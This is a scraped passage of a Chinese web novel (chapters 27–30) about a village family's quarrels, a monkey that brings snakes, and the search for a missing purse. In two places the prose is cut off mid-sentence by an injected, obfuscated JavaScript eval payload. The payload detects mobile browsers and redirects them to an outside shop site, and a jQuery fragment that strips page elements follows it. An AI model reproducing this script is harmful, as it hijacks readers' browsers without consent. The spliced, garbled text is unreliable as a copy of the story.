正庆幸着,突然发现灶房外头的房梁上仍旧挂着兔子肉,一点没少。 方春梅想去灶房瞅瞅烧的是什么肉,但因为心虚,一时不敢往周婆子跟前露眼。 27. 第二十七章 今儿个一大早,方春梅就出了门,借口是去找伴儿一起上外村打猪草,实际上她的确是去了外村,但目的是为了搭乘牛车。 她娘家的村子位子好,离镇上近,牛车进城每每都会经过。 方春梅选择今天回娘家,自然是因为心中那口气还未消。 每次想起被笤帚打的那几下,她都觉得后背还未恢复,始终泛着疼。 婆母打的哪里是她的皮肉,分明是打的她的脸,还是当着赵榆那贱丫头的面。 明明她方春梅才是老周家的媳妇,那老婆子合该向着她才是,怎么能为了花钱买回来的下贱丫头而对她动手? 方春梅越想越怨,终于是选定了今天瞒着周家人回了娘家。 想到爹娘兄长对自己的爱护,方春梅心都跟着热热的。 娘说了,但凡周家老婆子再敢对她动手,她就回去和他们告状,到时候她的兄长侄子们,大大小小十几个全上周家的门,誓要将他们家门槛踩烂了,也要为她这个女儿找回公道。 想着娘家人向她保证的,方春梅心里一阵热流翻滚,将刚刚浮起的那股心虚顿时冲散了个干净。 心虚个什么劲儿? 该心虚的是她周婆子,她敢打她,自己就敢回去告状。 方春梅越想气势越足,坦坦荡荡的空着手,顺着肉味往灶房去。 因为晚间有村长父子两过来一同吃,周婆子米粮不够,但菜品定是要备的像样,请人上门吃饭,也不能太过寒碜。 青菜里她特意滴了几滴油弄出油花,想着村长家的三柱和自家老三要好,她又忍着心疼从屋里摸出四个鸡蛋来,伴着小葱煎成蛋饼,这又是一盘菜了。 还有之前赵榆采回来的菇子,她也给取了些出来,放了一些青菜叶子一起煮成汤。 两菜一汤,再加上一大碗野鸡肉,说是丰盛都不为过。 莫说鸡肉了,自家人吃,谁不是一盘咸菜顶所有,这有荤有素的,过年过节也就这样了。 周婆子心里这般想着,手里也不闲着,不停的在翻炒着锅里的肉块。 余光见有人进来,转头一瞧是老四媳妇,脸立时拉长起来。 “你倒是还记得回来!”周婆子扫向她空着的手,冷声问道:“不是说去打猪草?猪草呢?你自个儿吃了?” 方春梅讪笑,“娘,你怎的说这话?猪草是猪吃的,人怎能吃?” 见周婆子依旧一脸严肃,她只好将一早准备好的借口拿出来,“这不是猪草一早就被别人先入了手,等我们去的时候,已经光秃秃一片,哪还有的留下?” “我和那家小娘子去了好几个地方,也就各自装了半篮子猪草,因着跟她学了半天的打络子,我也过意不去,就将那猪草全送给她了。” 说的的确有理有据,但周婆子只需听清其中一句,就知道她说的全是假话。 过意不去? 谁都有这份心,唯独方氏绝不可能有。 方春梅这人爱占便宜,又绝不愿意吃亏,这种性子又怎么可能舍得将自己辛苦取得的猪草让给别人? 方春梅见周婆子始终盯着她,有些瑟缩,但一想到娘家,她就挺立起来,没了继续解释这件事的念头。 视线一转,看向锅里热腾腾的肉,受了诱惑地倾身去凑近,待看清肉块里的鸡头,她又惊又喜,“娘,你将家里那母鸡给杀了?杀得好,下不了几个蛋留着糟蹋粮食!” 方春梅早就想将那四只母鸡给宰了,天天指望她给它们喂食,但下的蛋全便宜了老二一家子。 除了二牛那小子每天固定一个鸡蛋,剩余存下的,最后也是换了钱给他那半死不活的亲娘拿来买药。 怎么想,都是她吃了大亏。 鸡杀了才好呢,看他们还怎么占她便宜! 方春梅心情十分得好,想着一会儿多夹几块肉,她亲手喂过的鸡,吃不到它下的蛋,肉必定不能缺了她的。 坐了这么久的牛车,一路颠簸,她早就饿的不行,看着这鸡肉似乎已经熟了,她习惯性地向着锅里伸手。 周婆子可一点也不想惯着她,顺势将锅铲往她手背上一拍。 方春梅吃痛,忙将手收回来,急头急脑地将手背上沾上的汤汁擦掉,“娘,你怎的又打我?!” 这么烫的锅铲就这么往她肉上拍,这婆子可真坏心。 周婆子还嫌打了她锅铲都脏了,舀起一瓢水对着浇了又浇,这才放进锅里再次翻炒起来。 她想起方氏那熟门熟路的动作就气的不行。 这要不是做习惯了,她敢旁若无人的当着她的面就往锅里伸手? 长了张好吃的嘴,灶房里的活计交给她时,不知道偷摸着往里头塞了多少东西! “我打的就是你!”周婆子继续道:“懒骨头一个,不在家做活跑外头躲着,真当我好糊弄?!” 方春梅眼光闪了闪,略显气势不足,“我可没糊弄,娘,你怎的这般误会我?” 话说完,她又理直气壮起来,大着嗓门,像是在与周婆子比谁的声音大,“我若是学会了打络子,那就是掌握了一门手艺,到时候编了拿到县城去卖,就是一个稳定的进项。” 她像是很不服气,“有机会学门手艺,我定然是要抓住,娘你若是心存不满,硬要说是我偷懒,无论如何,我都不依。” 她这是大着胆子和周婆子别苗头呢,若是平日,周婆子必定要将她骂个狗血淋头,但今日她气了两回,加上村长他们眼看着差不多要到了,她没多余的精力再和她费口舌。 冷冷瞥了她一眼,周婆子利落的将鸡肉盛了起来打算端去堂屋,但她实在不放心将方氏一个人留在灶房。 方春梅见周婆子不说话,越发气盛,想到手背挨的那一下,她颇有怨念,刚要再继续表达不满,就听见院子里传来一声“三叔”。 方春梅张开的嘴,反应极快的再次闭上,紧着心中的一根弦,睁大眼睛转过头,目光首先看向院门,紧接着又扫视一圈院子。 没见到那让她害怕到说话都打颤的身影。 方春梅提着一颗心不敢放下,连忙将目光定在二牛身上,刚刚就是他喊的“三叔”。 “三叔。”二牛再次喊出声,手指着一处不移开。 在方春梅顺着二牛的指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个矮胖的身影出现在门口,被门栏挡着,只露出两个发亮的眼睛往屋里瞧。 等看清床上躺着人,它这才轻松一跃跳进屋里。 四肢着地往床边走,翘起的尾巴一摇一晃,很是轻松自在。 睡梦里,赵榆感觉自己的肚子好似被人捶了一拳头,又沉又重。 感觉不舒服,她意识模糊地伸手往肚子上摸,结果抓握了一手的软毛。 赵榆:…… 她尚未清醒,思绪虽疑惑,却不足以让她醒来。 直到她摸到一个半软半硬又凉丝丝的物什时,她瞬间睁眼,魂差点都跟着飞将出来。 来不及反应,赵榆下意识的用双肘撑着自己不断往后退,直到退到床角,才不得不停下。 “哇哇!” 月光洒在床前,让屋里不至于漆黑一片。 顺着这“哇哇”声,赵榆还能看清猴子头顶虚虚实实的茸毛轮廓。 28. 第二十八章 赵榆紧着嗓音,语速急促,“你下去!” “哇!” 赵榆:“快下去!” 盯着它手里抓着的东西,月光虽暗淡,却足以让她猜到那是个什么。 想到它白日里才吃下一条蛇,现在竟又不知从哪儿抓了一条,还带到了她床上。 赵榆深吸一口气,见这猴子仍旧稳稳地坐着,她迫不得已,只能抬脚将它推下去。 “哇哇!” 被迫下了床的猴子,站在床边,因它矮胖,还没板床高,为了再次爬上床,它两只爪子搭在床边,就要往上蹦。 而那条蛇它也舍不得松开,于是便连同它的手再一次上了她的床。 看着那软沓沓的长条黑影又一次被甩到床上,赵榆再受不住,连忙下了地,摸索着将屋里唯一的一把木椅收拾出来,放到床边。 赵榆:“你上这儿来,别去床上。”拍着椅面,诱哄道。 猴子哪里懂她是什么意思,眼神都不带往那边移。 赵榆无法,边拉边拽的,总算将它脱离了木板床。 椅子不算矮,比床还高出一截,猴子站在上头,稳稳当当的,看样子还算满意。 被这一惊扰,赵榆一时也睡不着,然后眼睁睁地看着那条蛇被它吃的一干二净。 生拉硬扯的画面太过入心,就连梦中,也是一片蛇爬满地的骇人景象。 等赵榆疲乏的从床上醒来,那张有损的木椅上已经没了猴子的影子,倒是昨夜那条蛇的血迹还残留了些在上头。 虽然猴子这次带蛇上门不是那么得人喜欢,但它能找过来,赵榆还是很高兴。 万一哪天她真的要躲进山里,跟着猴子说不定她活命的机会要大不少。 赵榆弄了些水,将椅子重新擦干净,期待猴子晚上能经常过来。 想要猴子救命,得将关系弄得熟络才行。 * 这次赵榆来的早,河边的洗衣石还有好几个空的,倒是用不着去抢。 嘴里虚虚实实的和人来了一番你问我答,很快,她就将衣裳洗干净,笑呵呵的摆脱那些闲言之后,利落地端起木盆往回走。 经过汪家门前,被陶氏瞧见了,一顿扯嗓的指桑骂槐,赵榆也当没听见,神情自然地继续往前走。 直到被一个人拦住,赵榆这才有些不高兴。 拦人的不是别人,正是昨日赵榆拎着野鸡回去时,在路上碰见的刘三娘。 刘三娘是从稍远一些的村子嫁过来的,也是巧了,夫家和她一个姓,都是姓刘。 她一早就等在门口,为的就是将赵榆拦下,好在没错过。 见着赵榆不甚愉快的脸色,刘三娘也有些不好意思,解释道:“赵小妹,我特意拦下你,是为了昨日那事……” 刘三娘顿了顿,言词歉疚,“那汪家陶婶子之所以知道你带回了只野鸡,是从我这儿听说的,”像是担心对方误会,她忙提了提调子,继续道:“但我并非故意。” “我原不过是和家里人闲谈说了一嘴,哪晓得那陶婶子从我家听说后,回头就上你那儿找麻烦。” “这事儿我是万万没想到。” 刘三娘说的很是诚恳,这事谁能想的到? 不要脸面上人家里讨肉吃,还将那种理由往人家脑门上扣,什么野鸡吃了地里的谷子要分她半边肉,她都不明白这是如何说的出口的? 陶婶子就是不顾及自己的面子,难道家里人的也无所谓? 但想到汪家老两口前两年相继离世,没了老一辈压在上头,汪家那位叔又是个管不了人的,自然做主的就成了陶婶子。 她想干什么便干什么,哪怕做的事惹人笑谈,汪家也没谁会给她脸色看。 刘三娘心里想着这些,同时不忘将身边的篮子提起来,含笑道:“我知道是我这张嘴给你带来了麻烦,心下一直难顺,特意准备了这些野梨,”她将篮子递过去,“妹子你将这些梨子带回去尝尝鲜,千万别推辞。” 赵榆其实还真有些责怪对方多嘴,野鸡带回去,她特意避了人,唯独这刘三娘没躲过去。 不过一个水煮野鸡蛋的功夫,那对母子就上门闹腾,速度这般快,定然是有人将她抓到野鸡的事说出去。 赵榆又不蠢,自然猜到刘三娘就是那个多嘴的人。 亏她当时觉得这人面相让人顺眼,河边洗衣裳时,愿意和她多说几句,没曾想也是一个管不住嘴的人。 赵榆将此引以为教训,认为是自己识人不清,也打定主意以后不再和刘三娘多说话。 但…… 此时,赵榆看着篮子里装着的四个水灵灵的青皮梨子,口水不自主的分泌出来。 她好久都没吃到正经的果子了,猴子用来砸她的果子不算。 赵榆将木盆换了一个位子,顶在腰间,然后一脸严肃的将空出来的手伸向篮子,将其挎在手肘上。 瞥向刘三娘,语气平淡道:“好说。”不忘补充一句,“篮子过会儿在送还给你。” 刘三娘摆手:“不用,篮子你留着用,我家刘贵靠竹子吃饭,一个篮子而已,家里头不缺。” 村头到村尾,路虽不远,但两条胳膊都吃力,等回到周家,肩膀都跟着些微发酸。 赵榆缓了缓,将装着梨子的篮子放在院子里她经常坐的木墩上,想着先将衣裳晾晒完了,再尝尝味道如何。 然而,她不过是将空了的木盆送进灶房,等她再出来,那篮子已经被方春梅拿在手里。 眼见着,她要往篮子里头伸手,赵榆想也不想,快速冲过去,一把将篮子从方春梅的手里抢了回来。 方春梅躲闪不及,不仅没能拿到梨子,连竹篮也没能抓稳。 眼见着那青皮梨子被抢走,方春梅又急又怒,“你个贱皮子,还不快把篮子给我!” 赵榆神色淡淡地看向她,“这是人家给我的。” 方春梅见她敢违逆,更是气愤,“给你?你是个什么东西?人家又不是瞎了眼!” “你才来九龙村多久?人家愿意对你笑一笑说几句客气话,不过是看在周家的面子上。” 方春梅冷笑一声,“你可别真当自己是个人物了!” 说完,她向前一步,气势汹汹的,猛地伸手往赵榆手上夺。 赵榆防着她,见她要抢,连忙后退,手腕也跟着一转,将篮子挡在身后。 不等方春梅开口大骂,赵榆先一步扬声喊着大牛二牛的名字。 大牛两人起床还没多久,正在屋里和娘说话,听见声,一边大声应着一边往外头跑。 赵榆见两人出来,笑意回到脸上,对他们招手道:“快过来,我带回来几个野梨,来尝尝好不好吃。” 大牛二牛欢呼一声,连蹦带跳的往赵榆身边冲。 赵榆不顾方春梅难看的脸色,从篮子里拿出两个梨子出来,一人给了一个。 这样篮子里只剩两个了。 想了想,她又从里头取出一个来,递给大牛,嘱咐他带回去给他娘尝尝。 对于昨天大牛娘的好意,赵榆还是记在心里的。 念及对方日日离不得药,嘴里想必苦的厉害,梨子酸酸甜甜的,也能去去苦味。 大牛见娘也有梨子,越发高兴。 围着赵榆转了一圈又一圈,这才捧着两个梨子跑进屋里。 二牛追不上哥哥,倒是差点撞上周婆子,被周婆子拦下来后,索性蹲地上直接开始啃梨。 周婆子垂眼看了小孙子一眼,又瞥了一旁活像被人抢了家当的方氏,这才看向赵榆,问道:“这野梨从哪儿来的?” 周遭虽多山,但里头的东西都是有本事的人才弄的到手,没本事的也就在山外道跑跑 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二十几文听着是多,但运气好这事是个没定数的,一年终了,有几天是运气好的? 还有几年前刘家被偷了猪,讨不回来一文钱不说,还被那恶人威胁,更是让家里雪上加霜。 全家就奔着那头猪过活,养的又肥又壮竟提外人还了赌债,这搁谁心里不难受。 刘贵爹娘当时还因为这事给气病了,到现在身体都不大好。 全家吃喝,也仅靠刘贵日日往山里去,野果子野菜不惜什么都拿去换钱,若是运气好碰见识得的药草,就拿去卖给许家在县城的药馆,又是一笔进项。 也是因为这点,村里村外眼馋的人,怨怪刘贵将大山当成自己家的了,次次从山里往外带好东西,赚了不少钱,他们让他带上几人一同进山,刘贵装作没听见。 没办法,几人退而求其次,问他野果野菜长在什么地方,他们不求他,可以自己进山,然而刘贵又像锯了嘴的闷葫芦,怎么也不愿意透露。 周家因为郑婆子坏了名声,落得个沾晦的名头,而刘家民声虽比周家要好上不少,却也被人数落是个抠门,不通情达理的。 有人心里记着仇,多多少少也不愿意和刘家来往。 赵榆抿唇笑了笑,没将刘三娘与陶氏的事说出来。 都接了人家的梨了,属实不好再多言。 周婆子见方氏依旧站在那儿面色不善地盯着赵榆,眉头不禁一皱,正要吩咐她去将猪喂了,这时余光扫到周田又一次在堂屋门口徘徊。 她眉头皱的更深,“大郎,你作甚进进出出的?” 周田正低头四处寻视着,听着周婆子的问话,这才抬头回答说是钱袋子不见了。 周婆子额间的皱痕越发深刻,“钱袋子怎的不见了?是不是随手放在哪儿了?” 周田拄着木拐,闻言摇了摇头,眉目微皱,“昨日晚间还在,今早醒来却怎么也找不着了。” 周青这时打着呵欠出来,听到这话,漠不关心地道:“既然昨儿个还在,那便就在家里头呗,不是掉在了哪个角落,就是被人给摸了去,就这两种结果。” 周婆子看了眼没个正形的老四,继续将自己想到的地方说出来,问道:“衣服呢?你昨日换下的脏衣服可有翻过?” 周田叹了口气,点了点头,“都找遍了,依旧没看到。” 方春梅听了,哼笑了一声,“周青说的对,钱袋子搁家里头,还能掉到哪里去?” “既然找不到,无疑是被人摸了去。” “这钱呐,赚着了那便是一家人的,谁都不会去动,怎么这次就不见了?” “这之前可从没出现过这种事儿,怎的家里不过多添了一个人,这钱袋子就不翼而飞了?” 29. 第二十九章 赵榆偏头看了她一眼,眼神淡淡,既然没明确点自己的名字,便无需开口。 方春梅如何似是而非不重要,主要在于周婆子。 好在周婆子没对方春梅的这番话过多在意,只是朝周田疑惑询问,他为财主修缮祠堂的工钱不是昨夜就交给她了么,怎的身上还留有钱袋子? 周田独留下的钱袋子装有八十六文,是他准备今日还给王大柱的。 去县城之前他身上不过只带了十文钱不到,原想着财主招工时已经说了工钱是当日就结,到时候若是有需要直接用工钱就好。 只是没想到的是,一连做了几日的工,不仅一文钱没领到,说好的提供两顿餐食,也变成了午时的两个馒头。 一起做活的十几个人,心中惶惶,担心财主心小,最后连一早承诺的工钱都不给了。 其中有不少人已经有了停工的念头,好在那财主看出了他们的想法,让他的管家着重表明,工钱会发,但只能是祠堂完工后,若是他们现在就想离开,那先前做的这几天活,等于白做,一文钱都别想得到。 众人听了心中恼火,却不敢多说什么,他们就等着这份活熬过这段日子,若是赚不到钱回去,家里没钱买粮,一家老小等不到谷子熟了,就得饿死。 他们选择忍耐下来,周田也是如此。 但他身上的钱即便省吃俭用,也一文不剩。 最后只能向同村的王大柱借了不少。 昨日王家上门吃晚食时,本该将钱拿出来还上,但因为结算的工钱零零散散,他还没来得及串成串,想着都在一个村,两家离得近,明日再还也是一样。 不想,昨夜将工钱交给娘之后,将单独成串的八十六文放进另一个用破衣服缝成的钱袋子里,搁在屋里的柜子上,等早上醒来,却发现那里已经空空如也。 周婆子听了,顾不上骂那财主是个黑心肝,现在她惦记的是那找不着的钱袋子。 东西好端端的放在柜子上,怎的就不见了? 又不是吃食,还能被老鼠给拖走? 方春梅见周婆子几人不理她,心下不满,杵了杵站在一旁的周青,想让他说些什么,然周青这时候困顿的厉害,不耐烦地动了动身子离她远了些。 方春梅气地狠狠剐了他一眼,继续起心思地道:“咱们自家人自然不会碰自家人的东西,除了那老鼠,不过老鼠放着米袋子不偷,偷什么钱袋子?” 她眼神微微一转,瞟了眼赵榆,话音一转,“不过,若是家里当真出了只成了精的大老鼠,会偷钱袋子也不足为奇。” “我看呐,”方春梅精神抖擞,“娘,咱们得掏掏那些老鼠洞,说不定这钱就是被她拖进窝的。” 方春梅指示强烈,周婆子想不理都不行。 她虎着一张脸,不客气地看向方春梅,“我是得掏老鼠洞,尤其是那只贪吃的,我倒要看看她偷吃了我周家多少粮食,是不是饿死鬼投胎,看见什么都得往她那张嘴里送!” 方春梅不是滋味儿地撇了撇嘴,这老婆子莫不是糊涂了,她明明指的是赵榆偷钱的事,怎么无缘无故指责起她头上来了?! 赵榆面上虽不显情绪,但内里的确有些惊奇。 方春梅都表示的这般明显,若她是周家人,指定觉得她说的在理。 搁屋子里的钱不可能无缘无故不见,周家又没分家,自家人不可能打这些辛苦钱的主意,唯独赵榆是外人,还是个来周家没有多长时间的外人。 这种情况下,很难不去怀疑。 按赵榆的想法,周婶理应借着方春梅这番话有所动作,再不然也该责问自己是否动了那钱袋子。 但,出乎意料的是,周婶不仅没开口问她,反倒对方春梅斥责起来。 赵榆压下心中的起伏,试着想是不是周婶是信任她的? 周田暗暗看了眼赵榆,这位姑娘的来路他不清楚,也没询问娘买她回来的原因。 家里头是爹娘做主,周田并不会在这件事上有想法。 虽然他对这新来的姑娘不了解,但昨日的那只野鸡以及灶房檐下挂着的兔子肉,他都看在眼里。 因那财主结算工钱时,借口他们拖延工时,将原先承若的一天二十文,多扣了两文下去,工钱不足预期,周田原本打算割条肉回来,最后也是不了了之。 本顾念着自己做活多日,尚且不能为家里改善一顿伙食,心中含愧,却在见到那些肉后,心里是既惊讶又些许复杂。 ……这么年轻的姑娘,做了他无法做到的事。 所以对于四弟妹的那些话,周田不尽信。 再者,钱袋子是在屋里头丢失,若是当真有人动了,也是能随意进入他房里的人。 那间房除了住了他,也有老三的床铺。 因着周禾的关系,那间屋子很少有人来,除了爹娘,其他人几乎都刻意避着这里。 周田心中纠结,他实在是想不出谁会趁他不注意进了屋子,还拿走了他放在一旁的钱。 周婆子和周田是一个想法,能偷拿钱袋子的人一定是能进出屋子的人,而赵榆根本不可能,不说进入大郎的卧房,她连堂屋都没踏入过。 周青瞌睡还未消,见方春梅被他娘教训,面上有些无光,语气不耐道:“老话都说家贼难防,既然不知道谁是贼,那便从最有嫌疑的入手。” “这钱袋子又不能长出脚自个儿跑了?除了被偷,我是想不到还有哪种可能。” 他斜了眼赵榆,意有所指,“这钱无论是谁拿的,总归还在咱们周家,仔细翻一翻总能知道结果。” 周田闻言看向周婆子,想知道娘有什么想法。 周婆子心中有计较,老四有句话说的对,这钱定然还是被藏在家里,每一文钱都来之不易,她必然是要将其找回来。 沉吟一息,周婆子先一步走向堂屋。 她这一举动,让周青方春梅两人脸色莫名,回屋里做什么?不是应该先去赵榆住的那屋么? 眼见这周田也跟过去,两人对视一眼,只好也不甘愿地跟上。 赵榆见他们走了,也跟着动了动,这种情况不知道她能不能跟着进去? 正当她打定主意也跟着进屋时,先走几步的周青突然停了下来,见赵榆站在那里一动不动,面带厌弃地开口道:“当我不知道你打什么主意?想趁着我们都进了屋,好让你有机会去处理那钱袋子是不是?” 他嘲讽一笑,“你就别妄想了,在我们去你屋翻找之前,你不准独自有所动作。” 说完他用眼神强逼赵榆,“还不快跟上去,别逼我动手!” 赵榆本就打算跟进去,哪里需要他威胁。 难言地瞥了他一眼,赵榆径直走进堂屋。 周家不大,一家人住着稍显拥挤。 堂屋因只摆放了一张桌子几张长凳,倒是显得空旷些。 赵榆兀自打量着,这还是她第一次进来,之前也都是在院子里望里面瞧上一眼。 堂屋两边都有卧房,听着动静,赵榆转了一道弯,经过一道短狭又昏暗的过道,这才看见周婆子两人。 这是堂屋的后方,不进光,即便外头艳阳高升,里面仍旧没亮堂多少。 对于赵榆出现在屋子里,周婆子也只是随意瞥了眼就收回视线,继续躬身翻找着有些年头的柜子。 赵榆站在一旁没有帮着寻找的想法,不说她是外人,这才第一次进屋就翻乱别人的东西属实不太好,况且周婶也没吩咐她帮忙,她也就无需多做什么。 而且,她现在还被怀疑偷了钱,这种情况下一动不如一静。 当周婆子两人找完柜子,又去搜寻屋里其他角落时,赵榆不动声色地打量这间卧房。 地方不大,但胜在东西少,即便摆放了两张床倒也显得工整。 赵榆目光被其中一张床吸引,不是因为它在这间被翻了一团乱的屋子里依旧整齐,而是床上那张黑熊皮实在太过抓眼,也太过骇人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573836|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >被处理过的熊皮子难掩野性,厚实又完整的铺在床板上,乌黑乌黑的,让人忍不住离得再远一些。 这么大的熊皮,那只熊的体量定也惊人。 赵榆最后瞥了一眼,心中对那未成谋面的周家三子多了丝畏惧。 周田的屋子没找着,自然要换个屋子继续找。 接下来便是临近的周青和方春梅的屋子。 两人不乐意,对周婆子说钱又不是他们偷的,若是进去翻他们的屋子显然就是不信任他们夫妻俩,会让他们没脸。 周婆子哪里肯听他们的,怒斥两人没脸没皮,话倒是说得冠冕堂皇,轮到他们了,做出一副不可辱的样子来,是要恶心谁?! 也不知周婆子是被气到了还是怎的,将周青两人的这间屋子翻的格外细致,最后钱袋子是没找到,倒是在床下的墙角边找到了不少藏着的东西。 一包饴糖,一袋锅巴,还有小半袋面粉…… 周婆子看着这些东西眼皮子都气的抖了抖,钱这方氏倒是没偷,可她周家的东西她可昧了不少! 这饴糖周婆子可眼熟了,她娘家亲戚送过来的东西她能不眼熟? 多年不来往的亲戚往家里送了东西,周婆子不想收,想着找时间将它们都退回去,可等她带着东西要上县城时,突然发现里头少了样东西,那包裹精致的饴糖竟不见了。 她找了许久,一直没找到,只当是家里那些老鼠趁夜给拖走偷吃了。 因着这事,她怄气了不少时日,少了一件饴糖,那些东西自然是退不回去了,这到显得她贪图那亲戚的东西,嘴上说着不和对方来往,最后不还是舍不得将东西还回去! 周婆子只要一想到对方暗地里嘲讽她和她身后的周家不愿意与他这富贵的亲戚撇开,就忍不住气愤难当。 一包饴糖,让她丢了大脸不说,还要被人瞧不起,直到现在她那口气都还没下去。 可此刻摆在她眼前的是什么? 那被她误认为是老鼠偷吃了的饴糖,竟被从老四夫妻俩床底掏了出来。 周婆子捡起饴糖,因床底阴凉糖并未软化,包装的油纸干干净净,只是因为被常常打开有些破损。 周婆子盯着这只剩一些碎渣的饴糖,真是又气又悔。 悔自己不该心急的找了方春梅这个儿媳,悔自己当初见方春梅大龄还没人上门结亲,就该心存疑虑,打消与方家结亲的念头。 怪不得别人说她周家运道差。 娶了这么一个人回来,她周家怎能不染晦?! 周婆子又瞥了眼那袋锅巴以及那剩下不多的面粉,深吸了一口气,忍着怒意对周青道:“我不再管她偷拿家里的东西你知不知情,但再有下次,她那不值钱的嫁妆从哪儿挑来你给我送回哪儿去!” “我周家要不起!”说完她怒瞪了眼躲在周青身后的方春梅,将锅巴面粉这些东西带上,转身离开了这间屋子。 背着一大家子人偷藏粮食,且这粮食还是大家伙儿的,这有多损人心,周婆子是当家的心里清楚。 也多亏他们周家还有饱肚的余粮,再不行家里还能拿得出钱去买些回来,可若是周家也像那些日子过得极差,一粒米掉了都得趴在地上摸寻的人家,今日这事必会引起乱子。 兄弟阋墙、分家避无可避。 周婆子在心里头庆幸周家还没沦落到那种地步,几个儿子也不全都是老四那种的。 老大老二是个好的,不斤斤计较。 老三…… 倒是无意和人计较,可他……会让人见血啊! 周婆子抚着胸口,庆幸老三还在外头没回来,不然…… 可一想,若是老三在家,那方氏也没胆子偷摸家里的东西。 方春梅可不知道周婆子的这份心思,见她的那些东西被拿走,心里头很是不得劲。 她暗想着,好在昨日回娘家将那面粉带了大半回去,否则就全便宜了周家婆子,那她不得好几天吃不下饭? 30. 第三十章 赵榆在看见那些从床底被翻出来的吃食,也是十分诧异。 嘴上贪吃也就罢了,竟还贪心地往床底藏,可真够稀奇的。 赵榆忍不住得往方春梅那边瞥了一眼,不巧,恰好被对方抓个正着。 方春梅像是被针刺了喉咙,声音又尖又细,“看什么看,你那对招子就该瞎了才好!” 她以为自己这般斥骂,赵榆那贱丫头该不敢再往她身上瞧,哪想对方不仅不怕,甚至朝她勾了勾唇,嘲讽的意味毫不遮掩。 赵榆在方春梅憋忍的瞪视下,转身跟在周田的身后去了隔壁的屋子。 不同于周青屋子的杂乱,周谷这边虽也不是太齐整,但收拾的倒是还算顺眼。 毕竟这边有两个孩子,单靠周谷一个汉子,确实有太多顾及不来。 赵榆进去时,稍显浓厚的药味扑将过来,直往鼻尖钻。 赵榆忍不住揉了揉鼻子,心想,怪不得大牛二牛衣服上总是有股淡淡的苦味,她抹再多的豆夹子也难掩盖掉。 周婆子没往床边靠近,站在门口靠内一些和床上的人正说着话。 赵榆对大牛娘的声音不陌生,和她第一次听见时一样,气短又虚喘。 这之前她就知道大牛娘身体不好,几乎不见她出屋门,可当她瞧见床上躺着的人时,还是忍不住心中一咯噔。 这人比她想的还要病弱。 面色蜡黄,头发稀疏,露在厚厚被子外头的手腕瞧着比她的还要细,她是忍饥挨饿所以不长肉,但床上这人并不是,她的手腕干枯,就是吃再多的米粮似乎都没多大用处。 赵榆心中有些发酸,既为这个喘息都艰难的妇人,也为外头还在嬉闹的大牛二牛两人。 大牛娘,认识她的人都称她为扈娘,其实她原名本叫扈二娘,但因她前头的有个落水早死的姐姐,后来便抹掉了排序,因此大家也都用“扈娘”来称乎她。 扈娘见着婆母进了屋,忙想撑住自己坐起身,但奈何没了周谷帮忙,她实在无力。 好在周婆子不是折磨儿媳妇的性子,见她艰难,抬手阻了她。 周婆子并没有像进老四屋里那样,抬手就是一顿翻找,对着眼前这二媳妇,她沉默一瞬,还是老生常谈的询问了对方身体如何,可感觉好些了。 几乎用不着大牛娘回答,周婆子也能极为熟练的知道她会回些什么。 无非是“好多了,娘不用担心”。 周婆子应了一声,闻着这满屋子的药味,她没再提对方身体的事。 她视线一扫,落在床头那件还在缝做的衣服上,瞧着那尺量大小,是个小人衣裳。 周婆子:“大牛二牛的衣裳用不着你做,方氏和周麦也不是吃干饭不做活,针线还是拿的住的。” 扈娘躺在床上不好有动作,只能用眼角虚虚地看了眼还不成型的小儿衣裳,笑着道:“我明白娘的好意,这衣裳只是我躺的身子骨发痒时,才会坐起身缝上几针,并不会累着自己。” 周婆子闻言点了点头,“你心里有数就成。” 赵榆站在周婆子身后,看的不是太清楚,但那小衣服里白花花的棉花塞的很是厚实,这是在为大牛他们做冬衣。 赵榆搓了搓身上缝着补丁的衣服,也起了念头,虽然离冬天还早,她是不是也要为过冬做些打算? 周谷的这间屋周婆子没待多久,甚至脚都没怎么移步,在询问大牛二牛有没有拿钱袋子进屋玩,得到否定回应后,便径直转身出了屋。 赵榆不明情况,她还沉浸在去哪弄一件厚实的冬衣这件事上,见周婶离开,也忙抬脚跟上。 临走时,她回头看了眼大牛娘。 对方也正侧脸看向这边,见赵榆看过来,她扬起笑,道:“赵妹子,梨的汁水很甜。” 赵榆一愣,想到让大牛带给他娘的梨子,忙道:“你喜欢就好。” 赵榆出来时,外头等着的周田已经和周婆子进了周麦的屋子。 两人进去,周麦也不理,睁着双哭肿的眼睛侧躺在床上,面朝内侧向着墙壁,不理不顾身后的人。 周婆子看见她就来气,原本因大牛娘而刻意压下去的嗓音又再次提起来,“青天白日的犯什么懒骨头,还不快给我起来!” 周麦像是没听见,动也不动。 周婆子怒从心起,“好你个没心肝的懒皮子,跟我装聋作哑?昨日是没被打够?” 眼见着周婆子撸起袖子有动手的打算,周田连忙阻止,“娘,小妹还小,跟她好好说,她会听话的。” 周婆子顾及着他的腿,只能停下。 见娘被拉扯住了,周田转头对着从床上惊坐起的周麦劝道,“小妹,别惹娘生气,还不快和娘低头认错!” 周麦本就心里带着怨,见娘竟又要动手打她,越发的受不了,大喊道:“我有什么错?不过就是阻止那三个人吃家里鸡蛋而已,我错在哪里?” 因太过愤怒,她昨日被摔的屁/股再次作痛起来,哭将道:“我不过是想为家里多存些鸡蛋,好心一片,凭什么你们都怪我!” “还有她!”周麦指着刚迈脚进来的赵榆,“她都敢动手打我,你们还当没看见,不仅不惩罚她,还觉得是我的错!” “到底她是周家人,还是我是?!” “你们这样对我,还不如把我送走,让她做周家的女儿好了!” 周田看着周麦哭得双眼通红,心有不忍。 昨日发生的事他并不清楚,但见小妹说的这般委屈,他心里不自觉的有所偏颇,猜测是不是小妹的一番好心被娘误会了? 